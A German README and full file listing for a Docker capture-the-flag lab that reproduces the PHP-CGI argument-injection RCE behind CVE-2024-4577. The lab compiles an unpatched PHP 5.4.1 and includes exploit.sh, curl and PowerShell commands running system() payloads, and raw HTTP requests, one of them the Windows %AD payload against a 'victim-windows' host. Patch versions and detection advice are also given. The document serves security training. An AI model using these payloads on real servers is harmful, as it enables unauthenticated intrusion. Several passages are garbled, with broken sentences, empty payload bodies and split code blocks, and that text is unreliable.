
# Docker-basiertes CTF-Labor zur Demonstration von CVE-2024-4577 PHP-CGI-Argumentinjektion, die zu RCE führt. Enthält verwundbares PHP 5.4.1 CGI, Exploit-Skripte und Flag-Abruf.
Ein eigenständiges, von Grund auf aufgebautes Docker-Lab, das die echte
Argument-Injection → Remote-Code-Execution-Primitive hinter CVE-2024-4577
demonstriert. Nutze es über http://localhost:8080 aus, öffne eine Shell und
lies die Flagge aus dem Container.
Dies ist eine echte Schwachstelle, keine simulierte. Der Container kompiliert ein ungepatchtes PHP 5.4.1 CGI-Binary und verdrahtet es hinter Apache genau so, wie echte verwundbare Hosts konfiguriert sind. Es gibt keinen Fake-Check wie "if password == flag" — der einzige Weg zur Flagge ist, tatsächlich Code-Ausführung zu erreichen.
Der signature Payload von CVE-2024-4577 verwendet %AD (ein weiches
Trennzeichen). Dieser Trick funktioniert nur unter Windows, weil die
"Best-Fit"-Zeichenkodierung von Windows das Byte 0xAD in ein echtes -
() umwandelt, der CVE-2012-1823-Patch von PHP die Query-String
bereits geprüft hat. Diese Kodierungsumwandlung wird von
durchgeführt — sie
0x2DEin getreues, auf deinem Rechner lauffähiges Linux-Lab reproduziert also die
exakt gleiche RCE-Primitive — php-cgi-Options-Injection über die URL →
-d auto_prepend_file=php://input → Code-Ausführung — unter Verwendung der
wörtlichen --Form (die der Eltern-Bug von CVE-2024-4577 ist,
CVE-2012-1823). Der einzige Unterschied zu einem echten
Windows-CVE-2024-4577-Ziel ist die %AD→--Encoding-Bypass-Schicht, die
diese README vollständig dokumentiert (siehe
Wie der Exploit funktioniert — Schritt für Schritt
und poc.http).
| Dieses Linux-Lab | Echtes CVE-2024-4577 (Windows) | |
|---|---|---|
| Verwundbare Komponente | php-cgi | php-cgi |
| RCE-Primitive | -d auto_prepend_file=php://input | identisch |
| Trennzeichen in der URL | wörtliches - | %AD (Best-Fit → -) |
| Umgeht den 2012-Patch? | N/A (PHP stammt aus der Zeit vor dem Patch) | Ja, über Windows-Best-Fit |
| Läuft auf Win 11 Home + Docker Desktop | ✅ | ❌ (benötigt Windows-Container) |
Wenn du speziell die bit-genaue Windows-%AD-Reproduktion benötigst, brauchst
du einen Docker-Host mit Windows-Container-Unterstützung (Windows Server /
Win Pro + Hyper-V) — auf Windows 11 Home wird das nicht laufen. Der
Windows-Payload ist in poc.http als Referenz enthalten.
CVE-2024-4577 — PHP-CGI-Argument-Injection, die zu Remote Code Execution führt. Entdeckt von DEVCORE (Orange Tsai / Angelboy), veröffentlicht am 2024-06-06.
Wenn PHP im CGI-Modus bereitgestellt wird (oder das php-cgi.exe-Binary
anderweitig erreichbar ist) unter Windows mit bestimmten System-Locales
(Traditionelles/Vereinfachtes Chinesisch, Japanisch und andere), übergibt der
Webserver die HTTP-Query-String als Kommandozeilenargumente an php-cgi. Ein
Angreifer kann php-cgi-Kommandozeilenoptionen (-d ...) in diese
Query-String schmuggeln. Die Best-Fit-Codepage-Konvertierung von Windows
wandelt das Soft-Hyphen-Byte 0xAD (%AD) in ein ASCII-Hyphen - um, das an
der CVE-2012-1823-Härtung vorbeischlüpft und dem Angreifer erlaubt, beliebige
PHP-INI-Direktiven zu setzen — am nützlichsten
auto_prepend_file=php://input mit allow_url_include=1, was den vom
Angreifer gelieferten Request-Body als PHP ausführt. Ergebnis:
unauthentifizierte Remote Code Execution. Es wurde innerhalb von Tagen in
freier Wildbahn bewaffnet (z. B. TellYouThePass-Ransomware).
CGI übergibt die Query-String als argv. Gemäß RFC 3875: Wenn die
Query-String einer CGI-Anfrage kein unkodiertes = enthält, teilt der
Server sie an + auf, URL-dekodiert jedes Wort und übergibt die Wörter als
Kommandozeilenargumente an das CGI-Programm. php-cgi erhält daher
angreiferkontrolliertes argv.
php-cgi parst diese argv als Optionen. Historisch interpretierte
php-cgi -d key=value, -T usw. aus diesem argv. Das Einspeisen von
-d allow_url_include=1 -d auto_prepend_file=php://input bringt PHP dazu,
den Request-Body als Code auszuführen → CVE-2012-1823.
Der CVE-2012-1823-Fix ist unter Windows unvollständig. Der Patch von
2012 fügte in sapi/cgi/cgi_main.c eine Absicherung hinzu: grob gesagt
"wenn die (rohe) Query-String mit - beginnt und kein = enthält,
überspringe die Options-Parsing (skip_getopt)." Ein Angreifer, der ein
wörtliches - sendet, wird nun blockiert.
Best-Fit-Kodierung schlägt die Absicherung (der Bug von 2024). Unter
Windows konvertiert PHP die Kommandozeile mit der Locale-Codepage und
aktiviertem Best-Fit-Mapping. Der Angreifer sendet %AD (Byte 0xAD,
Soft-Hyphen). Zum Zeitpunkt der Prüfung der Absicherung ist das erste Byte
0xAD, nicht -, also wird skip_getopt nicht gesetzt. Später,
wenn PHP tatsächlich das argv aufbaut, mappt Windows per Best-Fit 0xAD →
-, sodass getopt nun -d sieht. Die Options-Injection feuert nach
der Prüfung, die sie hätte stoppen sollen. Diese Prüfe-dann-Konvertiere-
Reihenfolge ist die gesamte Schwachstelle.
In diesem Linux-Lab werden die Schritte 1–2 exakt mit einem php-cgi reproduziert, das aus der Zeit vor dem Patch aus Schritt 3 stammt, sodass die wörtliche
--Form funktioniert und die identische RCE demonstriert. Schritt 4 ist die Windows-only-Schicht, dokumentiert, aber nicht ausgeführt (Linux hat keine Best-Fit-Konvertierung).
Behoben in 8.3.8, 8.2.20, 8.1.29. Daher verwundbar:
Bedingungen: Windows-Betriebssystem; PHP läuft als CGI oder
php-cgi.exe ist exponiert (die Standard-XAMPP-auf-Windows-Konfiguration
ist verwundbar); ein betroffenes Locale für den Best-Fit-Pfad. (Der
Eltern-Bug CVE-2012-1823 — die Primitive, die dieses Lab ausführt — betrifft
jedes Betriebssystem, das ein php-cgi vor dem 2012er-Fix in dieser
Konfiguration ausführt.)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. Voraussetzungen
- **Docker Desktop** (Windows/macOS) oder Docker Engine (Linux).
Windows 11 Home: Docker Desktop mit dem **WSL 2**-Backend installieren (Standard).
→ https://www.docker.com/products/docker-desktop/
- `curl` für die Ausnutzung (`curl.exe` ist in Windows 10/11 integriert; auch in
Git Bash / WSL / macOS / Linux).
- Internetzugang **während des Builds** (lädt den PHP-5.4.1-Quellcode herunter).
## 6. Build-Anleitung
Öffnen Sie ein Terminal im Ordner `cve-2024-4577-lab/`.
### Option A — docker compose (empfohlen)```bash
docker compose up --build -d
Docker-Build-Befehl:```bash docker build -t cve-2024-4577-lab .
**docker-run-Befehl:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
Der Build kompiliert PHP aus dem Quellcode (beim ersten Mal ca. 2–5 Minuten). Falls dies auf deinem Rechner fehlschlägt (offline, keine Toolchain, museum.php.net blockiert), verwende das Fallback-Basisimage:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
Sie sollten das **ACME Internal Status Portal**-HTML sehen, und entscheidend ist:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi (d. h. über php-cgi bereitgestellt) bestätigt, dass sich die anfällige Komponente im Anforderungspfad befindet. Prüfen Sie außerdem die Logs:```bash
docker logs cve-2024-4577-lab
## 8. Exploitation steps
The injected query string (URL-encoded so Apache sees **no literal `=`** and
therefore treats it as CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
welches php-cgi wie folgt parst:``` -d allow_url_include=1 -d auto_prepend_file=php://input
Der **Request-Body** wird zum PHP-Quellcode (gelesen über `php://input`) und wird
*vor* `index.php` ausgeführt.
### 8a. Am einfachsten — das Skript ausführen```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> Unter **Windows PowerShell** verwenden Sie explizit `curl.exe` (das `curl` von PowerShell
> ist ein Alias für `Invoke-WebRequest` und verfälscht die Query-String):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. Manuell — rohes HTTP (Burp Repeater)
Siehe [`poc.http`](#poc-http). Fügen Sie Anfrage #1 in Burp Repeater ein und senden Sie sie.
## 9. Erwartete Ausgabe```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
Die Zeile uid=33(www-data) beweist die beliebige Ausführung von Betriebssystembefehlen als
Webserver-Benutzer – dies ist echte Codeausführung, kein gedruckter String.
Die Flagge befindet sich unter /flag.txt im Container – außerhalb des Web-
Root-Verzeichnisses (/var/www/html), sodass sie nicht über HTTP erreichbar ist. Der einzige Weg,
sie zu lesen, besteht darin, einen Befehl über die RCE auszuführen:```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
Flagge:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(In einem echten CTF würde dir der Pfad nicht mitgeteilt — du würdest ls -la / über
die RCE ausführen, um ihn zu finden. Versuche bash exploit.sh http://localhost:8080 "ls -la /".)
docker compose down
docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm
docker rmi cve-2024-4577-lab
docker builder prune -f
---
## 🔬 So funktioniert der Exploit, Schritt für Schritt
1. **Client → Apache.** Du sendest
`POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
mit einem PHP-Payload im Body.
2. **Apache-Routing.** `AddHandler application/x-httpd-php .php` +
`Action application/x-httpd-php /cgi-bin/php-cgi` leiten die Anfrage an die
**php-cgi**-Binärdatei weiter (mod_actions + mod_cgi).
3. **Query-String → argv (die CGI-Regel).** Das `mod_cgi` von Apache erkennt,
dass der Query-String **kein unkodiertes `=`** enthält (wir haben `%3d` statt `=` gesendet), also teilt es gemäß RFC 3875 an `+` auf, URL-dekodiert jedes Wort und übergibt sie an php-cgi als `argv`:
`-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.
4. **php-cgi verarbeitet die injizierten Optionen.** Dieses php-cgi (5.4.1, vor dem Fix von 2012)
hat **keinen `skip_getopt`-Schutz**, also verarbeitet es die `-d`-Optionen bereitwillig:
- `allow_url_include=1` — erlaubt das Einbinden von PHP aus Stream-Wrappern.
- `auto_prepend_file=php://input` — vor der Ausführung des angeforderten Skripts
wird der **Anfrage-Body** als PHP eingebunden und ausgeführt.
5. **Body wird als Code ausgeführt.** `php://input` ist dein POST-Body,
`<?php system('id; cat /flag.txt'); die(); ?>`. Er läuft als Apache-Benutzer
(`www-data`), führt den OS-Befehl aus, gibt seine Ausgabe aus und ruft `die()` auf,
bevor `index.php` überhaupt ausgeführt wird.
6. **Flag-Exfiltration.** `system('cat /flag.txt')` liest `/flag.txt` (lesbar
durch `www-data`) und gibt es in der HTTP-Antwort zurück.
### Warum die Schwachstelle existiert (das tiefere „Warum")
- **CGI vermischt *Argumente* mit *Benutzereingaben*.** Die CGI-Konvention aus den 1990ern,
einen Query-String in `argv` umzuwandeln, wurde für `<ISINDEX>`-Suchskripte
entwickelt. Sie auf einen Interpreter wie `php-cgi` zu richten, dessen `argv`
mächtige Konfigurationsschalter sind, ist ein Kategorienfehler: benutzerkontrollierte Daten
werden zur Programmkonfiguration.
- **`-d` ist Remote-INI-Injection.** `php-cgi -d name=value` überschreibt *jede* INI-
Direktive zur Laufzeit, selbst eine gehärtete `php.ini`. `auto_prepend_file`
+ `allow_url_include` + der `php://input`-Wrapper ergeben zusammen
„führe den Anfrage-Body aus", also RCE.
- **CVE-2024-4577 speziell** existiert, weil der CVE-2012-1823-Fix den Query-String
auf ein führendes `-` prüft, **bevor** Windows seine **Best-Fit-Encoding-Konvertierung**
durchführt. Der Angreifer sendet `%AD` (weiches Trennzeichen); es ist kein `-`,
wenn die Prüfung läuft, also passiert der Schutz, aber Windows bildet später per Best-Fit
`0xAD → 0x2D (-)` ab und führt das `-` nach dem Tor wieder ein. **Prüfen-dann-Transformieren-
Reihenfolge** + eine locale-abhängige, verlustbehaftete Kodierung = ein Patch-Bypass.
---
## 🛡️ Warum diese Challenge „einfach die Flagge raten" / KI-Abkürzungen widersteht
- Die Flagge ist **nicht im Web-Root** und wird **nicht von `index.php` referenziert**,
also deckt kein noch so großes Crawlen, Fuzzen oder Lesen des App-Quellcodes sie auf.
- Es gibt **keine Logik-Hintertür** (kein `if (input === flag)`), also kann ein Löser
keinen Vergleich umkehren — die Flagge erscheint nur in der stdout eines Prozesses **nach
echter OS-Befehlsausführung**.
- Das Abrufen **erfordert die Durchführung des tatsächlichen Argument-Injection-Exploits**:
korrektes Kodieren von `=` als `%3d`, Beibehalten von `-` als Options-Trennzeichen und
Zustellung des Payloads über `php://input`. Wenn du bei einem Schritt einen Fehler machst,
erhältst du die harmlose ACME-Seite, nicht die Flagge.
- Das Token ist eine **High-Entropy-Zufallszeichenfolge**, kein erratbares Wort.
---
## Behebung in der Praxis
- PHP auf **≥ 8.3.8 / 8.2.20 / 8.1.29** aktualisieren.
- **PHP nicht als CGI ausführen.** PHP-FPM / mod_php verwenden.
- Auf Windows/XAMPP `ScriptAlias`/Handler-Zuordnungen entfernen, die
`php-cgi.exe` exponieren; Anfragen blockieren, bei denen der Query-String mit einem kodierten
weichen Trennzeichen beginnt; `%AD` im Query-String an der WAF verweigern.
- Erkennung: Webserver-Logs mit Query-Strings, die `%AD`, `auto_prepend_file`,
`allow_url_include` oder `php://input` enthalten.
---
# ANHANG — jede Datei, vollständig
Alles unten ist der vollständige Quellcode jeder Datei, sodass dieses einzelne Dokument
vollständig in sich geschlossen ist.
## `Dockerfile````dockerfile
# =============================================================================
# CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution
# Linux reproduction of the argument-injection primitive that CVE-2024-4577
# revives on Windows. (See README.md, section "Linux vs. Windows".)
#
# Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
# predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
# (-d ...) supplied through the HTTP query string. Apache hands the query
# string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
# auto_prepend_file=php://input -> RCE. This is the exact primitive that
# CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye
ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1
# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
apt-get update; \
apt-get install -y --no-install-recommends \
ca-certificates wget bzip2 xz-utils \
build-essential pkg-config autoconf \
libxml2-dev \
apache2; \
rm -rf /var/lib/apt/lists/*
# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
# CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
# linking of old PHP's tentative-definition globals.
# touch <files> : keep the tarball's PRE-GENERATED parser/scanner files
# newer than their .y/.l sources so `make` never invokes
# bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
cd /usr/src; \
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
tar -xf php.tar; \
cd "php-${PHP_VERSION}"; \
for f in \
Zend/zend_language_parser.c Zend/zend_language_parser.h \
Zend/zend_language_scanner.c \
Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
Zend/zend_ini_scanner.c \
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
if [ -f "$f" ]; then touch "$f"; fi; \
done; \
CFLAGS="-O2 -fcommon" ./configure \
--enable-cgi \
--disable-all \
--without-pear; \
make -j"$(nproc)"; \
make install; \
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
chmod 0755 /usr/lib/cgi-bin/php-cgi; \
/usr/local/bin/php-cgi -v; \
cd /; rm -rf /usr/src/php*
# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini /usr/local/lib/php.ini
COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf
RUN set -eux; \
a2dismod mpm_event mpm_worker || true; \
a2enmod mpm_prefork cgi actions alias; \
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
a2enconf servername
# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php /var/www/html/index.php
COPY flag.txt /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]
FROM vulhub/php:5.4.1-cgi
COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with: docker compose up --build
services:
web:
build:
context: .
dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails
image: cve-2024-4577-lab:latest
container_name: cve-2024-4577-lab
ports:
- "8080:80" # host 8080 -> container 80
restart: unless-stopped
<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG: Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject -d <ini>=<value> straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
Options +ExecCGI FollowSymLinks
AddHandler application/x-httpd-php .php
Action application/x-httpd-php /cgi-bin/php-cgi
DirectoryIndex index.php
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1
display_errors = On display_startup_errors = On log_errors = On
; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off
short_open_tag = On
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
# Container entrypoint: start Apache (with the vulnerable php-cgi) in the
# foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e
# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars
mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"
echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="
exec apache2 -D FOREGROUND
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"
QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'
BODY=""
echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"
curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"
echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php — an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>ACME Internal Status Portal</title>
<style>
body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
.ok{color:#2a7f2a;font-weight:bold}
</style>
</head>
<body>
<h1>ACME Internal Status Portal</h1>
<p>Service status: <span class="ok">ONLINE</span></p>
<ul>
<li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
<li>PHP version: <code><?php echo phpversion(); ?></code></li>
<li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
<li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
</ul>
<p>Everything looks fine here. Nothing to see. 😊</p>
</body>
</html>
###############################################################################
###############################################################################
POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close
POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
sapi/cgi/cgi_main.c).Nur für autorisierte Sicherheitsschulungen / CTF-Nutzung.